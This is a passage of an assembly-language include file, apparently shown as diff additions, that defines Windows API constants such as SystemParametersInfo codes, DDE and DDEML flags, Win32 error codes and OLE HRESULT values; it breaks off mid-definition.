12+SPI_ICONHORIZONTALSPACING equ 13+SPI_GETSCREENSAVETIMEOUT equ 14+SPI_SETSCREENSAVETIMEOUT equ 15+SPI_GETSCREENSAVEACTIVE equ 16+SPI_SETSCREENSAVEACTIVE equ 17+SPI_GETGRIDGRANULARITY equ 18+SPI_SETGRIDGRANULARITY equ 19+SPI_SETDESKWALLPAPER equ 20+SPI_SETDESKPATTERN equ 21+SPI_GETKEYBOARDDELAY equ 22+SPI_SETKEYBOARDDELAY equ 23+SPI_ICONVERTICALSPACING equ 24+SPI_GETICONTITLEWRAP equ 25+SPI_SETICONTITLEWRAP equ 26+SPI_GETMENUDROPALIGNMENT equ 27+SPI_SETMENUDROPALIGNMENT equ 28+SPI_SETDOUBLECLKWIDTH equ 29+SPI_SETDOUBLECLKHEIGHT equ 30+SPI_GETICONTITLELOGFONT equ 31+SPI_SETDOUBLECLICKTIME equ 32+SPI_SETMOUSEBUTTONSWAP equ 33+SPI_SETICONTITLELOGFONT equ 34+SPI_GETFASTTASKSWITCH equ 35+SPI_SETFASTTASKSWITCH equ 36+SPI_SETDRAGFULLWINDOWS equ 37+SPI_GETDRAGFULLWINDOWS equ 38+SPI_GETNONCLIENTMETRICS equ 41+SPI_SETNONCLIENTMETRICS equ 42+SPI_GETMINIMIZEDMETRICS equ 43+SPI_SETMINIMIZEDMETRICS equ 44+SPI_GETICONMETRICS equ 45+SPI_SETICONMETRICS equ 46+SPI_SETWORKAREA equ 47+SPI_GETWORKAREA equ 48+SPI_SETPENWINDOWS equ 49+SPI_GETFILTERKEYS equ 50+SPI_SETFILTERKEYS equ 51+SPI_GETTOGGLEKEYS equ 52+SPI_SETTOGGLEKEYS equ 53+SPI_GETMOUSEKEYS equ 54+SPI_SETMOUSEKEYS equ 55+SPI_GETSHOWSOUNDS equ 56+SPI_SETSHOWSOUNDS equ 57+SPI_GETSTICKYKEYS equ 58+SPI_SETSTICKYKEYS equ 59+SPI_GETACCESSTIMEOUT equ 60+SPI_SETACCESSTIMEOUT equ 61+SPI_GETSERIALKEYS equ 62+SPI_SETSERIALKEYS equ 63+SPI_GETSOUNDSENTRY equ 64+SPI_SETSOUNDSENTRY equ 65+SPI_GETHIGHCONTRAST equ 66+SPI_SETHIGHCONTRAST equ 67+SPI_GETKEYBOARDPREF equ 68+SPI_SETKEYBOARDPREF equ 69+SPI_GETSCREENREADER equ 70+SPI_SETSCREENREADER equ 71+SPI_GETANIMATION equ 72+SPI_SETANIMATION equ 73+SPI_GETFONTSMOOTHING equ 74+SPI_SETFONTSMOOTHING equ 75+SPI_SETDRAGWIDTH equ 76+SPI_SETDRAGHEIGHT equ 77+SPI_SETHANDHELD equ 78+SPI_GETLOWPOWERTIMEOUT equ 79+SPI_GETPOWEROFFTIMEOUT equ 80+SPI_SETLOWPOWERTIMEOUT equ 81+SPI_SETPOWEROFFTIMEOUT equ 82+SPI_GETLOWPOWERACTIVE equ 83+SPI_GETPOWEROFFACTIVE equ 84+SPI_SETLOWPOWERACTIVE equ 85+SPI_SETPOWEROFFACTIVE equ 86+SPI_SETCURSORS equ 87+SPI_SETICONS equ 88+SPI_GETDEFAULTINPUTLANG equ 89+SPI_SETDEFAULTINPUTLANG equ 90+SPI_SETLANGTOGGLE equ 91+SPI_GETWINDOWSEXTENSION equ 92+SPI_SETMOUSETRAILS equ 93+SPI_GETMOUSETRAILS equ 94+SPI_SCREENSAVERRUNNING equ 97+SPIF_UPDATEINIFILE equ 1h+SPIF_SENDWININICHANGE equ 2h+WM_DDE_FIRST equ 3E0h+WM_DDE_INITIATE equ WM_DDE_FIRST+WM_DDE_TERMINATE equ WM_DDE_FIRST+1+WM_DDE_ADVISE equ WM_DDE_FIRST+2+WM_DDE_UNADVISE equ WM_DDE_FIRST+3+WM_DDE_ACK equ WM_DDE_FIRST+4+WM_DDE_DATA equ WM_DDE_FIRST+5+WM_DDE_REQUEST equ WM_DDE_FIRST+6+WM_DDE_POKE equ WM_DDE_FIRST+7+WM_DDE_EXECUTE equ WM_DDE_FIRST+8+WM_DDE_LAST equ WM_DDE_FIRST+8+XST_NULL equ 0+XST_INCOMPLETE equ 1+XST_CONNECTED equ 2+XST_INIT1 equ 3+XST_INIT2 equ 4+XST_REQSENT equ 5+XST_DATARCVD equ 6+XST_POKESENT equ 7+XST_POKEACKRCVD equ 8+XST_EXECSENT equ 9+XST_EXECACKRCVD equ 10+XST_ADVSENT equ 11+XST_UNADVSENT equ 12+XST_ADVACKRCVD equ 13+XST_UNADVACKRCVD equ 14+XST_ADVDATASENT equ 15+XST_ADVDATAACKRCVD equ 16+CADV_LATEACK equ 0FFFFh+ST_CONNECTED equ 1h+ST_ADVISE equ 2h+ST_ISLOCAL equ 4h+ST_BLOCKED equ 8h+ST_CLIENT equ 10h+ST_TERMINATED equ 20h+ST_INLIST equ 40h+ST_BLOCKNEXT equ 80h+ST_ISSELF equ 100h+DDE_FACK equ 8000h+DDE_FBUSY equ 4000h+DDE_FDEFERUPD equ 4000h+DDE_FACKREQ equ 8000h+DDE_FRELEASE equ 2000h+DDE_FREQUESTED equ 1000h+DDE_FAPPSTATUS equ 0FFh+DDE_FNOTPROCESSED equ 0h+DDE_FACKRESERVED equ (-1-DDE_FACK)|DDE_FBUSY|DDE_FAPPSTATUS+DDE_FADVRESERVED equ (-1-DDE_FACKREQ)|DDE_FDEFERUPD+DDE_FDATRESERVED equ (-1-DDE_FACKREQ)|DDE_FRELEASE|DDE_FREQUESTED+DDE_FPOKRESERVED equ (-1-DDE_FRELEASE)+CP_WINANSI equ 1004+CP_WINUNICODE equ 1200+XTYPF_NOBLOCK equ 2h+XTYPF_NODATA equ 4h+XTYPF_ACKREQ equ 8h+XCLASS_MASK equ 0FC00h+XCLASS_BOOL equ 1000h+XCLASS_DATA equ 2000h+XCLASS_FLAGS equ 4000h+XCLASS_NOTIFICATION equ 8000h+XTYP_ERROR equ 0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK+XTYP_ADVDATA equ 10h|XCLASS_FLAGS+XTYP_ADVREQ equ 20h|XCLASS_DATA|XTYPF_NOBLOCK+XTYP_ADVSTART equ 30h|XCLASS_BOOL+XTYP_ADVSTOP equ 40h|XCLASS_NOTIFICATION+XTYP_EXECUTE equ 50h|XCLASS_FLAGS+XTYP_CONNECT equ 60h|XCLASS_BOOL|XTYPF_NOBLOCK+XTYP_CONNECT_CONFIRM equ 70h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK+XTYP_XACT_COMPLETE equ 80h|XCLASS_NOTIFICATION+XTYP_POKE equ 90h|XCLASS_FLAGS+XTYP_REGISTER equ 0A0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK+XTYP_REQUEST equ 0B0h|XCLASS_DATA+XTYP_DISCONNECT equ 0C0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK+XTYP_UNREGISTER equ 0D0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK+XTYP_WILDCONNECT equ 0E0h|XCLASS_DATA|XTYPF_NOBLOCK+XTYP_MASK equ 0F0h+XTYP_SHIFT equ 4+TIMEOUT_ASYNC equ 0FFFFh+QID_SYNC equ 0FFFFh+CBR_BLOCK equ 0FFFFh+CBF_FAIL_SELFCONNECTIONS equ 1000h+CBF_FAIL_CONNECTIONS equ 2000h+CBF_FAIL_ADVISES equ 4000h+CBF_FAIL_EXECUTES equ 8000h+CBF_FAIL_POKES equ 10000h+CBF_FAIL_REQUESTS equ 20000h+CBF_FAIL_ALLSVRXACTIONS equ 3F000h+CBF_SKIP_CONNECT_CONFIRMS equ 40000h+CBF_SKIP_REGISTRATIONS equ 80000h+CBF_SKIP_UNREGISTRATIONS equ 100000h+CBF_SKIP_DISCONNECTS equ 200000h+CBF_SKIP_ALLNOTIFICATIONS equ 3C0000h+APPCMD_CLIENTONLY equ 10h+APPCMD_FILTERINITS equ 20h+APPCMD_MASK equ 0FF0h+APPCLASS_STANDARD equ 0h+APPCLASS_MASK equ 0Fh+EC_ENABLEALL equ 0+EC_ENABLEONE equ ST_BLOCKNEXT+EC_DISABLE equ ST_BLOCKED+EC_QUERYWAITING equ 2+DNS_REGISTER equ 1h+DNS_UNREGISTER equ 2h+DNS_FILTERON equ 4h+DNS_FILTEROFF equ 8h+HDATA_APPOWNED equ 1h+DMLERR_NO_ERROR equ 0+DMLERR_FIRST equ 4000h+DMLERR_ADVACKTIMEOUT equ 4000h+DMLERR_BUSY equ 4001h+DMLERR_DATAACKTIMEOUT equ 4002h+DMLERR_DLL_NOT_INITIALIZED equ 4003h+DMLERR_DLL_USAGE equ 4004h+DMLERR_EXECACKTIMEOUT equ 4005h+DMLERR_INVALIDPARAMETER equ 4006h+DMLERR_LOW_MEMORY equ 4007h+DMLERR_MEMORY_ERROR equ 4008h+DMLERR_NOTPROCESSED equ 4009h+DMLERR_NO_CONV_ESTABLISHED equ 400Ah+DMLERR_POKEACKTIMEOUT equ 400Bh+DMLERR_POSTMSG_FAILED equ 400Ch+DMLERR_REENTRANCY equ 400Dh+DMLERR_SERVER_DIED equ 400Eh+DMLERR_SYS_ERROR equ 400Fh+DMLERR_UNADVACKTIMEOUT equ 4010h+DMLERR_UNFOUND_QUEUE_ID equ 4011h+DMLERR_LAST equ 4011h+MH_CREATE equ 1+MH_KEEP equ 2+MH_DELETE equ 3+MH_CLEANUP equ 4+MAX_MONITORS equ 4+APPCLASS_MONITOR equ 1h+XTYP_MONITOR equ 0F0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK+MF_HSZ_INFO equ 1000000h+MF_SENDMSGS equ 2000000h+MF_POSTMSGS equ 4000000h+MF_CALLBACKS equ 8000000h+MF_ERRORS equ 10000000h+MF_LINKS equ 20000000h+MF_CONV equ 40000000h+MF_MASK equ 0FF000000h+NO_ERROR equ 0+ERROR_SUCCESS equ 0+ERROR_INVALID_FUNCTION equ 1+ERROR_FILE_NOT_FOUND equ 2+ERROR_PATH_NOT_FOUND equ 3+ERROR_TOO_MANY_OPEN_FILES equ 4+ERROR_ACCESS_DENIED equ 5+ERROR_INVALID_HANDLE equ 6+ERROR_ARENA_TRASHED equ 7+ERROR_NOT_ENOUGH_MEMORY equ 8+ERROR_INVALID_BLOCK equ 9+ERROR_BAD_ENVIRONMENT equ 10+ERROR_BAD_FORMAT equ 11+ERROR_INVALID_ACCESS equ 12+ERROR_INVALID_DATA equ 13+ERROR_OUTOFMEMORY equ 14+ERROR_INVALID_DRIVE equ 15+ERROR_CURRENT_DIRECTORY equ 16+ERROR_NOT_SAME_DEVICE equ 17+ERROR_NO_MORE_FILES equ 18+ERROR_WRITE_PROTECT equ 19+ERROR_BAD_UNIT equ 20+ERROR_NOT_READY equ 21+ERROR_BAD_COMMAND equ 22+ERROR_CRC equ 23+ERROR_BAD_LENGTH equ 24+ERROR_SEEK equ 25+ERROR_NOT_DOS_DISK equ 26+ERROR_SECTOR_NOT_FOUND equ 27+ERROR_OUT_OF_PAPER equ 28+ERROR_WRITE_FAULT equ 29+ERROR_READ_FAULT equ 30+ERROR_GEN_FAILURE equ 31+ERROR_SHARING_VIOLATION equ 32+ERROR_LOCK_VIOLATION equ 33+ERROR_WRONG_DISK equ 34+ERROR_SHARING_BUFFER_EXCEEDED equ 36+ERROR_HANDLE_EOF equ 38+ERROR_HANDLE_DISK_FULL equ 39+ERROR_NOT_SUPPORTED equ 50+ERROR_REM_NOT_LIST equ 51+ERROR_DUP_NAME equ 52+ERROR_BAD_NETPATH equ 53+ERROR_NETWORK_BUSY equ 54+ERROR_DEV_NOT_EXIST equ 55+ERROR_TOO_MANY_CMDS equ 56+ERROR_ADAP_HDW_ERR equ 57+ERROR_BAD_NET_RESP equ 58+ERROR_UNEXP_NET_ERR equ 59+ERROR_BAD_REM_ADAP equ 60+ERROR_PRINTQ_FULL equ 61+ERROR_NO_SPOOL_SPACE equ 62+ERROR_PRINT_CANCELLED equ 63+ERROR_NETNAME_DELETED equ 64+ERROR_NETWORK_ACCESS_DENIED equ 65+ERROR_BAD_DEV_TYPE equ 66+ERROR_BAD_NET_NAME equ 67+ERROR_TOO_MANY_NAMES equ 68+ERROR_TOO_MANY_SESS equ 69+ERROR_SHARING_PAUSED equ 70+ERROR_REQ_NOT_ACCEP equ 71+ERROR_REDIR_PAUSED equ 72+ERROR_FILE_EXISTS equ 80+ERROR_CANNOT_MAKE equ 82+ERROR_FAIL_I24 equ 83+ERROR_OUT_OF_STRUCTURES equ 84+ERROR_ALREADY_ASSIGNED equ 85+ERROR_INVALID_PASSWORD equ 86+ERROR_INVALID_PARAMETER equ 87+ERROR_NET_WRITE_FAULT equ 88+ERROR_NO_PROC_SLOTS equ 89+ERROR_TOO_MANY_SEMAPHORES equ 100+ERROR_EXCL_SEM_ALREADY_OWNED equ 101+ERROR_SEM_IS_SET equ 102+ERROR_TOO_MANY_SEM_REQUESTS equ 103+ERROR_INVALID_AT_INTERRUPT_TIME equ 104+ERROR_SEM_OWNER_DIED equ 105+ERROR_SEM_USER_LIMIT equ 106+ERROR_DISK_CHANGE equ 107+ERROR_DRIVE_LOCKED equ 108+ERROR_BROKEN_PIPE equ 109+ERROR_OPEN_FAILED equ 110+ERROR_BUFFER_OVERFLOW equ 111+ERROR_DISK_FULL equ 112+ERROR_NO_MORE_SEARCH_HANDLES equ 113+ERROR_INVALID_TARGET_HANDLE equ 114+ERROR_INVALID_CATEGORY equ 117+ERROR_INVALID_VERIFY_SWITCH equ 118+ERROR_BAD_DRIVER_LEVEL equ 119+ERROR_CALL_NOT_IMPLEMENTED equ 120+ERROR_SEM_TIMEOUT equ 121+ERROR_INSUFFICIENT_BUFFER equ 122+ERROR_INVALID_NAME equ 123+ERROR_INVALID_LEVEL equ 124+ERROR_NO_VOLUME_LABEL equ 125+ERROR_MOD_NOT_FOUND equ 126+ERROR_PROC_NOT_FOUND equ 127+ERROR_WAIT_NO_CHILDREN equ 128+ERROR_CHILD_NOT_COMPLETE equ 129+ERROR_DIRECT_ACCESS_HANDLE equ 130+ERROR_NEGATIVE_SEEK equ 131+ERROR_SEEK_ON_DEVICE equ 132+ERROR_IS_JOIN_TARGET equ 133+ERROR_IS_JOINED equ 134+ERROR_IS_SUBSTED equ 135+ERROR_NOT_JOINED equ 136+ERROR_NOT_SUBSTED equ 137+ERROR_JOIN_TO_JOIN equ 138+ERROR_SUBST_TO_SUBST equ 139+ERROR_JOIN_TO_SUBST equ 140+ERROR_SUBST_TO_JOIN equ 141+ERROR_BUSY_DRIVE equ 142+ERROR_SAME_DRIVE equ 143+ERROR_DIR_NOT_ROOT equ 144+ERROR_DIR_NOT_EMPTY equ 145+ERROR_IS_SUBST_PATH equ 146+ERROR_IS_JOIN_PATH equ 147+ERROR_PATH_BUSY equ 148+ERROR_IS_SUBST_TARGET equ 149+ERROR_SYSTEM_TRACE equ 150+ERROR_INVALID_EVENT_COUNT equ 151+ERROR_TOO_MANY_MUXWAITERS equ 152+ERROR_INVALID_LIST_FORMAT equ 153+ERROR_LABEL_TOO_LONG equ 154+ERROR_TOO_MANY_TCBS equ 155+ERROR_SIGNAL_REFUSED equ 156+ERROR_DISCARDED equ 157+ERROR_NOT_LOCKED equ 158+ERROR_BAD_THREADID_ADDR equ 159+ERROR_BAD_ARGUMENTS equ 160+ERROR_BAD_PATHNAME equ 161+ERROR_SIGNAL_PENDING equ 162+ERROR_MAX_THRDS_REACHED equ 164+ERROR_LOCK_FAILED equ 167+ERROR_BUSY equ 170+ERROR_CANCEL_VIOLATION equ 173+ERROR_ATOMIC_LOCKS_NOT_SUPPORTED equ 174+ERROR_INVALID_SEGMENT_NUMBER equ 180+ERROR_INVALID_ORDINAL equ 182+ERROR_ALREADY_EXISTS equ 183+ERROR_INVALID_FLAG_NUMBER equ 186+ERROR_SEM_NOT_FOUND equ 187+ERROR_INVALID_STARTING_CODESEG equ 188+ERROR_INVALID_STACKSEG equ 189+ERROR_INVALID_MODULETYPE equ 190+ERROR_INVALID_EXE_SIGNATURE equ 191+ERROR_EXE_MARKED_INVALID equ 192+ERROR_BAD_EXE_FORMAT equ 193+ERROR_ITERATED_DATA_EXCEEDS_64k equ 194+ERROR_INVALID_MINALLOCSIZE equ 195+ERROR_DYNLINK_FROM_INVALID_RING equ 196+ERROR_IOPL_NOT_ENABLED equ 197+ERROR_INVALID_SEGDPL equ 198+ERROR_AUTODATASEG_EXCEEDS_64k equ 199+ERROR_RING2SEG_MUST_BE_MOVABLE equ 200+ERROR_RELOC_CHAIN_XEEDS_SEGLIM equ 201+ERROR_INFLOOP_IN_RELOC_CHAIN equ 202+ERROR_ENVVAR_NOT_FOUND equ 203+ERROR_NO_SIGNAL_SENT equ 205+ERROR_FILENAME_EXCED_RANGE equ 206+ERROR_RING2_STACK_IN_USE equ 207+ERROR_META_EXPANSION_TOO_LONG equ 208+ERROR_INVALID_SIGNAL_NUMBER equ 209+ERROR_THREAD_1_INACTIVE equ 210+ERROR_LOCKED equ 212+ERROR_TOO_MANY_MODULES equ 214+ERROR_NESTING_NOT_ALLOWED equ 215+ERROR_BAD_PIPE equ 230+ERROR_PIPE_BUSY equ 231+ERROR_NO_DATA equ 232+ERROR_PIPE_NOT_CONNECTED equ 233+ERROR_MORE_DATA equ 234+ERROR_VC_DISCONNECTED equ 240+ERROR_INVALID_EA_NAME equ 254+ERROR_EA_LIST_INCONSISTENT equ 255+ERROR_NO_MORE_ITEMS equ 259+ERROR_CANNOT_COPY equ 266+ERROR_DIRECTORY equ 267+ERROR_EAS_DIDNT_FIT equ 275+ERROR_EA_FILE_CORRUPT equ 276+ERROR_EA_TABLE_FULL equ 277+ERROR_INVALID_EA_HANDLE equ 278+ERROR_EAS_NOT_SUPPORTED equ 282+ERROR_NOT_OWNER equ 288+ERROR_TOO_MANY_POSTS equ 298+ERROR_MR_MID_NOT_FOUND equ 317+ERROR_INVALID_ADDRESS equ 487+ERROR_ARITHMETIC_OVERFLOW equ 534+ERROR_PIPE_CONNECTED equ 535+ERROR_PIPE_LISTENING equ 536+ERROR_EA_ACCESS_DENIED equ 994+ERROR_OPERATION_ABORTED equ 995+ERROR_IO_INCOMPLETE equ 996+ERROR_IO_PENDING equ 997+ERROR_NOACCESS equ 998+ERROR_SWAPERROR equ 999+ERROR_STACK_OVERFLOW equ 1001+ERROR_INVALID_MESSAGE equ 1002+ERROR_CAN_NOT_COMPLETE equ 1003+ERROR_INVALID_FLAGS equ 1004+ERROR_UNRECOGNIZED_VOLUME equ 1005+ERROR_FILE_INVALID equ 1006+ERROR_FULLSCREEN_MODE equ 1007+ERROR_NO_TOKEN equ 1008+ERROR_BADDB equ 1009+ERROR_BADKEY equ 1010+ERROR_CANTOPEN equ 1011+ERROR_CANTREAD equ 1012+ERROR_CANTWRITE equ 1013+ERROR_REGISTRY_RECOVERED equ 1014+ERROR_REGISTRY_CORRUPT equ 1015+ERROR_REGISTRY_IO_FAILED equ 1016+ERROR_NOT_REGISTRY_FILE equ 1017+ERROR_KEY_DELETED equ 1018+ERROR_NO_LOG_SPACE equ 1019+ERROR_KEY_HAS_CHILDREN equ 1020+ERROR_CHILD_MUST_BE_VOLATILE equ 1021+ERROR_NOTIFY_ENUM_DIR equ 1022+ERROR_DEPENDENT_SERVICES_RUNNING equ 1051+ERROR_INVALID_SERVICE_CONTROL equ 1052+ERROR_SERVICE_REQUEST_TIMEOUT equ 1053+ERROR_SERVICE_NO_THREAD equ 1054+ERROR_SERVICE_DATABASE_LOCKED equ 1055+ERROR_SERVICE_ALREADY_RUNNING equ 1056+ERROR_INVALID_SERVICE_ACCOUNT equ 1057+ERROR_SERVICE_DISABLED equ 1058+ERROR_CIRCULAR_DEPENDENCY equ 1059+ERROR_SERVICE_DOES_NOT_EXIST equ 1060+ERROR_SERVICE_CANNOT_ACCEPT_CTRL equ 1061+ERROR_SERVICE_NOT_ACTIVE equ 1062+ERROR_FAILED_SERVICE_CONTROLLER_CONNECT equ 1063+ERROR_EXCEPTION_IN_SERVICE equ 1064+ERROR_DATABASE_DOES_NOT_EXIST equ 1065+ERROR_SERVICE_SPECIFIC_ERROR equ 1066+ERROR_PROCESS_ABORTED equ 1067+ERROR_SERVICE_DEPENDENCY_FAIL equ 1068+ERROR_SERVICE_LOGON_FAILED equ 1069+ERROR_SERVICE_START_HANG equ 1070+ERROR_INVALID_SERVICE_LOCK equ 1071+ERROR_SERVICE_MARKED_FOR_DELETE equ 1072+ERROR_SERVICE_EXISTS equ 1073+ERROR_ALREADY_RUNNING_LKG equ 1074+ERROR_SERVICE_DEPENDENCY_DELETED equ 1075+ERROR_BOOT_ALREADY_ACCEPTED equ 1076+ERROR_SERVICE_NEVER_STARTED equ 1077+ERROR_DUPLICATE_SERVICE_NAME equ 1078+ERROR_END_OF_MEDIA equ 1100+ERROR_FILEMARK_DETECTED equ 1101+ERROR_BEGINNING_OF_MEDIA equ 1102+ERROR_SETMARK_DETECTED equ 1103+ERROR_NO_DATA_DETECTED equ 1104+ERROR_PARTITION_FAILURE equ 1105+ERROR_INVALID_BLOCK_LENGTH equ 1106+ERROR_DEVICE_NOT_PARTITIONED equ 1107+ERROR_UNABLE_TO_LOCK_MEDIA equ 1108+ERROR_UNABLE_TO_UNLOAD_MEDIA equ 1109+ERROR_MEDIA_CHANGED equ 1110+ERROR_BUS_RESET equ 1111+ERROR_NO_MEDIA_IN_DRIVE equ 1112+ERROR_NO_UNICODE_TRANSLATION equ 1113+ERROR_DLL_INIT_FAILED equ 1114+ERROR_SHUTDOWN_IN_PROGRESS equ 1115+ERROR_NO_SHUTDOWN_IN_PROGRESS equ 1116+ERROR_IO_DEVICE equ 1117+ERROR_SERIAL_NO_DEVICE equ 1118+ERROR_IRQ_BUSY equ 1119+ERROR_MORE_WRITES equ 1120+ERROR_COUNTER_TIMEOUT equ 1121+ERROR_FLOPPY_ID_MARK_NOT_FOUND equ 1122+ERROR_FLOPPY_WRONG_CYLINDER equ 1123+ERROR_FLOPPY_UNKNOWN_ERROR equ 1124+ERROR_FLOPPY_BAD_REGISTERS equ 1125+ERROR_DISK_RECALIBRATE_FAILED equ 1126+ERROR_DISK_OPERATION_FAILED equ 1127+ERROR_DISK_RESET_FAILED equ 1128+ERROR_EOM_OVERFLOW equ 1129+ERROR_NOT_ENOUGH_SERVER_MEMORY equ 1130+ERROR_POSSIBLE_DEADLOCK equ 1131+ERROR_MAPPED_ALIGNMENT equ 1132+ERROR_INVALID_PIXEL_FORMAT equ 2000+ERROR_BAD_DRIVER equ 2001+ERROR_INVALID_WINDOW_STYLE equ 2002+ERROR_METAFILE_NOT_SUPPORTED equ 2003+ERROR_TRANSFORM_NOT_SUPPORTED equ 2004+ERROR_CLIPPING_NOT_SUPPORTED equ 2005+ERROR_UNKNOWN_PRINT_MONITOR equ 3000+ERROR_PRINTER_DRIVER_IN_USE equ 3001+ERROR_SPOOL_FILE_NOT_FOUND equ 3002+ERROR_SPL_NO_STARTDOC equ 3003+ERROR_SPL_NO_ADDJOB equ 3004+ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED equ 3005+ERROR_PRINT_MONITOR_ALREADY_INSTALLED equ 3006+ERROR_WINS_INTERNAL equ 4000+ERROR_CAN_NOT_DEL_LOCAL_WINS equ 4001+ERROR_STATIC_INIT equ 4002+ERROR_INC_BACKUP equ 4003+ERROR_FULL_BACKUP equ 4004+ERROR_REC_NON_EXISTENT equ 4005+ERROR_RPL_NOT_ALLOWED equ 4006+SEVERITY_SUCCESS equ 0+SEVERITY_ERROR equ 1+FACILITY_NT_BIT equ 10000000h+NOERROR equ 0+E_UNEXPECTED equ 8000FFFFh+E_NOTIMPL equ 80004001h+E_OUTOFMEMORY equ 8007000Eh+E_INVALIDARG equ 80070057h+E_NOINTERFACE equ 80004002h+E_POINTER equ 80004003h+E_HANDLE equ 80070006h+E_ABORT equ 80004004h+E_FAIL equ 80004005h+E_ACCESSDENIED equ 80070005h+CO_E_INIT_TLS equ 80004006h+CO_E_INIT_SHARED_ALLOCATOR equ 80004007h+CO_E_INIT_MEMORY_ALLOCATOR equ 80004008h+CO_E_INIT_CLASS_CACHE equ 80004009h+CO_E_INIT_RPC_CHANNEL equ 8000400Ah+CO_E_INIT_TLS_SET_CHANNEL_CONTROL equ 8000400Bh+CO_E_INIT_TLS_CHANNEL_CONTROL equ 8000400Ch+CO_E_INIT_UNACCEPTED_USER_ALLOCATOR equ 8000400Dh+CO_E_INIT_SCM_MUTEX_EXISTS equ 8000400Eh+CO_E_INIT_SCM_FILE_MAPPING_EXISTS equ 8000400Fh+CO_E_INIT_SCM_MAP_VIEW_OF_FILE equ 80004010h+CO_E_INIT_SCM_EXEC_FAILURE equ 80004011h+CO_E_INIT_ONLY_SINGLE_THREADED equ 80004012h+S_OK equ 0h+S_FALSE equ 1h+OLE_E_FIRST equ 80040000h+OLE_E_LAST equ 800400FFh+OLE_S_FIRST equ 40000h+OLE_S_LAST equ 400FFh+OLE_E_OLEVERB equ 80040000h+OLE_E_ADVF equ 80040001h+OLE_E_ENUM_NOMORE equ 80040002h+OLE_E_ADVISENOTSUPPORTED equ 80040003h+OLE_E_NOCONNECTION equ 80040004h+OLE_E_NOTRUNNING equ 80040005h+OLE_E_NOCACHE equ 80040006h+OLE_E_BLANK equ 80040007h+OLE_E_CLASSDIFF equ 80040008h+OLE_E_CANT_GETMONIKER equ 80040009h+OLE_E_CANT_BINDTOSOURCE equ 8004000Ah+OLE_E_STATIC equ 8004000Bh+OLE_E_PROMPTSAVECANCELLED equ 8004000Ch+OLE_E_INVALIDRECT equ 8004000Dh+OLE_E_WRONGCOMPOBJ equ 8004000Eh+OLE_E_INVALIDHWND equ 8004000Fh+OLE_E_NOT_INPLACEACTIVE equ 80040010h+OLE_E_CANTCONVERT equ 80040011h+OLE_E_NOSTORAGE equ 80040012h+DV_E_FORMATETC equ 80040064h+DV_E_DVTARGETDEVICE equ 80040065h+DV_E_STGMEDIUM equ 80040066h+DV_E_STATDATA equ 80040067h+DV_E_LINDEX equ 80040068h+DV_E_TYMED equ 80040069h+DV_E_CLIPFORMAT equ 8004006Ah+DV_E_DVASPECT equ 8004006Bh+DV_E_DVTARGETDEVICE_SIZE equ 8004006Ch+DV_E_NOIVIEWOBJECT equ 8004006Dh+DRAGDROP_E_FIRST equ 80040100h+DRAGDROP_E_LAST equ 8004010Fh+DRAGDROP_S_FIRST equ 40100h+DRAGDROP_S_LAST equ 4010Fh+DRAGDROP_E_NOTREGISTERED equ 80040100h+DRAGDROP_E_ALREADYREGISTERED equ 80040101h+DRAGDROP_E_INVALIDHWND equ 80040102h+CLASSFACTORY_E_FIRST equ 80040110h+CLASSFACTORY_E_LAST equ 8004011Fh+CLASSFACTORY_S_FIRST equ 40110h+CLASSFACTORY_S_LAST equ 4011Fh+CLASS_E_NOAGGREGATION equ 80040110h+CLASS_E_CLASSNOTAVAILABLE equ 80040111h+MARSHAL_E_FIRST equ 80040120h+MARSHAL_E_LAST equ 8004012Fh+MARSHAL_S_FIRST equ 40120h+MARSHAL_S_LAST equ 4012Fh+DATA_E_FIRST equ 80040130h+DATA_E_LAST equ 8004013Fh+DATA_S_FIRST equ 40130h+DATA_S_LAST equ 4013Fh+VIEW_E_FIRST equ 80040140h+VIEW_E_LAST equ 8004014Fh+VIEW_S_FIRST equ 40140h+VIEW_S_LAST equ 4014Fh+VIEW_E_DRAW equ 80040140h+REGDB_E_FIRST equ 80040150h+REGDB_E_LAST equ 8004015Fh+REGDB_S_FIRST equ 40150h+REGDB_S_LAST equ 4015Fh+REGDB_E_READREGDB equ 80040150h+REGDB_E_WRITEREGDB equ 80040151h+REGDB_E_KEYMISSING equ 80040152h+REGDB_E_INVALIDVALUE equ 80040153h+REGDB_E_CLASSNOTREG equ 80040154h+REGDB_E_IIDNOTREG equ 80040155h+CACHE_E_FIRST equ 80040170h+CACHE_E_LAST equ 8004017Fh+CACHE_S_FIRST equ 40170h+CACHE_S_LAST equ 4017Fh+CACHE_E_NOCACHE_UPDATED equ 80040170h+OLEOBJ_E_FIRST equ 80040180h+OLEOBJ_E_LAST equ 8004018Fh+OLEOBJ_S_FIRST equ 40180h+OLEOBJ_S_LAST equ 4018Fh+OLEOBJ_E_NOVERBS equ 80040180h+OLEOBJ_E_INVALIDVERB equ 80040181h+CLIENTSITE_E_FIRST equ 80040190h+CLIENTSITE_E_LAST equ 8004019Fh+CLIENTSITE_S_FIRST equ 40190h+CLIENTSITE_S_LAST equ 4019Fh+INPLACE_E_NOTUNDOABLE equ 800401A0h+INPLACE_E_NOTOOLSPACE equ 800401A1h+INPLACE_E_FIRST equ 800401A0h+INPLACE_E_LAST equ 800401AFh+INPLACE_S_FIRST equ 401A0h+INPLACE_S_LAST equ 401AFh+ENUM_E_FIRST equ 800401B0h+ENUM_E_LAST equ 800401BFh+ENUM_S_FIRST equ 401B0h+ENUM_S_LAST equ 401BFh+CONVERT10_E_FIRST equ 800401C0h+CONVERT10_E_LAST equ 800401CFh+CONVERT10_S_FIRST equ 401C0h+CONVERT10_S_LAST equ 401CFh+CONVERT10_E_OLESTREAM_GET equ 800401C0h+CONVERT10_E_OLESTREAM_PUT equ 800401C1h+CONVERT10_E_OLESTREAM_FMT equ 800401C2h+CONVERT10_E_OLESTREAM_BITMAP_TO_DIB equ 800401C3h+CONVERT10_E_STG_FMT equ 800401C4h+CONVERT10_E_STG_NO_STD_STREAM equ 800401C5h+CONVERT10_E_STG_DIB_TO_BITMAP equ 800401C6h+CLIPBRD_E_FIRST equ 800401D0h+CLIPBRD_E_LAST equ 800401DFh+CLIPBRD_S_FIRST equ 401D0h+CLIPBRD_S_LAST equ 401DFh+CLIPBRD_E_CANT_OPEN equ 800401D0h+CLIPBRD_E_CANT_EMPTY equ 800401D1h+CLIPBRD_E_CANT_SET equ 